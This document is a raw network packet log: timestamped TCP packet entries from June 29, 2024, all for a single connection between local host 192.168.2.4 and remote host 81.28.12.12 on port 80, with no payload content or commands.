Jun 29, 2024 08:05:17.589196920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602055073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602108002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602130890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602150917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602183104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602233887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602292061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602319956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602370024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602404118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602426052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602463007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602479935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602514029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602545977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602596045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602617025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602648020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602668047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602699041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602755070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602777958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602827072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602857113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602899075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.602912903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602930069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602948904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.602981091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603013039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603045940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603079081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603102922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603141069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603154898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603184938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603218079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603252888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603281021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603307962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603342056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603364944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603395939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603427887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603449106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603477001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603502035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603553057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603604078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603625059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603648901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603677988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603728056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603776932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603801012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603842974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603869915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603920937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.603940010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.603986979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604008913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604039907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604073048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604093075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604134083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604161978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604212999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604245901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604278088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604309082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604336977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604384899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604408026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604439974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604520082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604547977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604574919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604597092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604624033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604649067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604681969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604715109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604749918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604770899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604800940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604821920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604856968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604886055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604918003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.604939938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604970932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.604994059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605026007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605060101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605084896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605107069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605135918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605171919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605201006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605232954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605259895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605273962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605304003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605324984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605355978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605387926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605412006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605439901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605463028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605494976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605529070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605554104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605577946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605603933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605638027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605671883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605691910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605722904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605756998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605777025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605796099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605829954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605849981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605880976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605916023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605935097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.605961084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.605983019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606064081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606096983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606148005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606170893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606220961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606254101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606273890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606303930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606339931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606359959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606410027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606443882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606463909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606494904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606527090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606609106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606640100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606667995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606697083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.606715918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606748104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606782913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.606833935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.674571037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674607038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674640894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674665928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.674684048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.674730062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674763918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674784899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.674814939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.674835920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674869061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674902916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674927950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.674968004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.674981117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.675012112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.675045967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.675079107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.675098896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.675116062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.675142050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.675168037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.675201893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.675254107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.677256107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.677290916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.677335024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.677354097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.677354097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.677378893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.677437067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.677470922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.677490950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.677521944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.677584887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.677598953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.677644014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.678248882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.678303003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.678337097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.678373098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.678405046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.678447008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.678478956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.678513050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.678539038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.678567886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.678589106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.678616047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.691617966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.691648006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.691678047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.691695929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.691739082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.691790104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.691821098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.691854954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.691874981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.691916943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.691946983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.691996098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692028999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692051888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692092896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692120075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692152023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692179918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692209005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692259073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692281008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692332029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692363977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692384005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692400932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692431927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692464113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692524910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692565918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692581892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692614079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692635059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692684889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692718983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692739964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692765951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692790985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692845106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692878008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692910910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.692930937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692958117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.692982912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693037987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693072081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693097115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693116903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693169117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693217993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693250895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693283081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693310022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693310022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693330050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693361044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693406105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693420887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693459988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693490028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693547964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693562984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693600893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693628073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693661928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693710089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693732977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693783045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693833113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693854094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693885088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693918943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.693942070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693960905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.693988085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694030046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694076061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694101095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694133997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694154978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694185972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694217920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694241047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694282055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694295883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694324970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694341898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694376945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694410086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694431067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694459915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694482088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694514990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694546938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694571018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694591045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694619894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694653034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694686890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694708109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694732904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694757938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694792986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694823980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694858074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694878101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694910049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694943905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.694964886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.694992065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695024967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695044994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695075989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695096970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695127010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695161104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695182085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695207119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695234060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695267916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695302010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695322990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695353031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695462942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695514917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695535898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695569992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695594072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695626020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695684910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.695699930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695727110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.695771933 CEST	80	49731	81.28.12.12	192.168.2.4
